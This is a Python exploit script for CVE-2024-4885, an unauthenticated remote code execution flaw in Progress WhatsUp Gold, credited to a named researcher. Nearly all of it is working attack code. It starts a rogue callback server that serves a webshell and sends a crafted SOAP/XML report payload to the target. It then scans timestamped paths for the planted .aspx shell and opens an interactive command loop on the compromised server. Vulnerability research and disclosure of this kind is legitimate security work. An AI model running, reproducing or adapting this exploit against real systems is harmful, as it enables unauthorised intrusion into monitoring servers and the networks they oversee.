""" Progress WhatsUp Gold GetFileWithoutZip Unauthenticated Remote Code Execution (CVE-2024-4885) Exploit By: Sina Kheirkhah (@SinSinology) of Summoning Team (@SummoningTeam) Technical details: https://summoning.team/blog/progress-whatsup-gold-rce-cve-2024-4885/ """ banner = r""" _______ _ _ _______ _______ _____ __ _ _____ __ _ ______ _______ _______ _______ _______ |______ | | | | | | | | | | | \ | | | \ | | ____ | |______ |_____| | | | ______| |_____| | | | | | | |_____| | \_| __|__ | \_| |_____| . | |______ | | | | | (*) Progress WhatsUp Gold GetFileWithoutZip Unauthenticated Remote Code Execution (CVE-2024-4885) (*) Exploit by Sina Kheirkhah (@SinSinology) of SummoningTeam (@SummoningTeam) (*) Technical details: https://summoning.team/blog/progress-whatsup-gold-rce-cve-2024-4885/ """ """""" from http.server import HTTPServer, SimpleHTTPRequestHandler import warnings warnings.filterwarnings("ignore", category=DeprecationWarning) import requests requests.packages.urllib3.disable_warnings() import argparse from threading import Thread import os import datetime import json from time import sleep print(banner) parser = argparse.ArgumentParser(usage="python CVE-2024-4885.py --target http://192.168.0.231:9642 --callback-server http://192.168.0.181:1337") parser.add_argument('--target', '-t', dest='target_url', help='Target URL (e.g: http://192.168.0.231:9642)', required=True) parser.add_argument('--webshell', '-f', dest='webshell_file', help='webshell file to upload', required=True) parser.add_argument('--callback', '-s', dest='callback_server', help='Rogue callback server 192.168.0.181:1337', required=True) parser.add_argument('--target-user-id', '-u', dest='target_user_id', help='user id to leak',default='1', required=False) args = parser.parse_args() args.target = args.target_url.rstrip('/') start_find = False class CustomHandler(SimpleHTTPRequestHandler): def do_PUT(self): global start_find self.send_response(200) self.send_header('Content-type', 'application/json') self.end_headers() webshell = {"webshell": open(args.webshell_file, "r").read()} self.wfile.write(json.dumps(webshell).encode()) print(f"(*) Waiting 180s for the RecurringReport task to land...") start_find = True def do_GET(self) -> None: try: print("(+) Callback received") query_string = self.path.split("?")[1] except: print("") self.send_response(200) self.end_headers() def start_callback_server(ip, port): global server_ready httpd = HTTPServer((ip, port), CustomHandler) print(f"(*) Callback server listening on http://{ip}:{port}") server_ready = True httpd.serve_forever() def find_web_shell(webshell_base_name): start_time = datetime.datetime.now() - datetime.timedelta(seconds=5) end_time = start_time + datetime.timedelta(minutes=2) potentials = [] dt = start_time while dt <= end_time: potentials.append(dt.strftime("%Y-%m-%d_%H-%M-%S")) dt += datetime.timedelta(seconds=1) target_host = args.target_url.split(':')[1].replace('//', '').rstrip('/') try: print(f"(*) Checking if target is using HTTPS or HTTP " + f"https://{target_host}/NmConsole/") res = s.get(f"https://{target_host}/NmConsole/") if(res.status_code == 200): target_host = f"https://{target_host}" else: target_host = f"http://{target_host}" except: target_host = f"http://{target_host}" print(f"(*) Target host: {target_host}") for potential in potentials: possible_path = f"{target_host}/NmConsole/Data/ExportedReports/{webshell_base_name}_{potential}.aspx" print(f"(*) spraying... {possible_path}") try: response = requests.head(possible_path, timeout=10, verify=False) if response.status_code == 200: print(f"(+) Web shell found at -> {possible_path}") break except requests.RequestException as ex: print(f"Failed to send request for {possible_path}. Exception: {ex}") post_exploit(possible_path) def exploit(): random_name = os.urandom(8).hex() xml_response = r'''falseNoneC:\PROGRA~2\Ipswitch\WhatsUp\Data\ScheduledReports25WhatsUpGold@YourDomain.comEmailing: Wireless Log5falseWhatsUp Goldtruefalsetrue00300htmlfalsefalsefalsefalse240PortraitLetterhtmlfalseg:i:s atrueC:\\Program Files (x86)\\Ipswitch\\WhatsUp\\html\\NmConsole\\falsefalseREPLACE_WEBSHELL_NAME-11Intervaltruetruetruetruetruetruetrue13DayOfMonthFirstSunday11MinutesTimeInterval2024-07-05T16:59:14.047957+01:002024-07-05T16:59:14.047957+01:0013FirstSundayMarchDayOfYearMarch{"title":"foo","renderType":"aspx","reports":[{"title":"thetitle","url":"/NmConsole/api/Wireless/ReportWirelessLog","dateRangeFilter":{"label":"Date Range","n":0,"range":"Today","text":"Today"},"severityFilter":{"label":"Severity","value":-1,"text":"ALL"},"limit":50,"grid":{"emptyText":"[ No records found ]","columns":[{"dataIndex":"Date","text":"Date","flex":1},{"dataIndex":"Severity","text":"Severity","flex":1},{"dataIndex":"Message","text":"Message","flex":1}],"filters":[],"sorters":[]}}],"baseUrl":"http://REPLACE_CALLBACK","userId":REPLACE_USER_ID}1admin'''.replace("REPLACE_WEBSHELL_NAME", random_name).replace("REPLACE_CALLBACK", args.callback_server).replace("REPLACE_USER_ID", args.target_user_id) headers = { "Content-Type": "text/xml; charset=utf-8", "SOAPAction": "http://tempuri.org/IRecurringReportServices/TestRecurringReport" } print(f"(+) Sending payload to {args.target_url}/NmConsole/ReportService.asmx") r = s.post(f"{args.target}/NmAPI/RecurringReport", headers=headers, data=xml_response) if(r.status_code != 200): print(f"(-) Failed to send payload: {r.text}") exit(1) print(f"(+) Payload sent successfully") return random_name def post_exploit(shell_path): while True: cmd = input("Shell> ") r =s.get(f"{shell_path}", params={"hax":cmd}, verify=False) print(r.text) s = requests.Session() s.verify = False print("\n(^_^) Prepare for the Pwnage (^_^)\n") callback_server_thread = Thread(target=start_callback_server, args=(args.callback_server.split(":")[0], int(args.callback_server.split(":")[1]),)) callback_server_thread.setDaemon(False) callback_server_thread.start() webshell_base_name = exploit() find_web_shell_thread = Thread(target=find_web_shell, args=(webshell_base_name,)) find_web_shell_thread.setDaemon(False) find_web_shell_thread.start()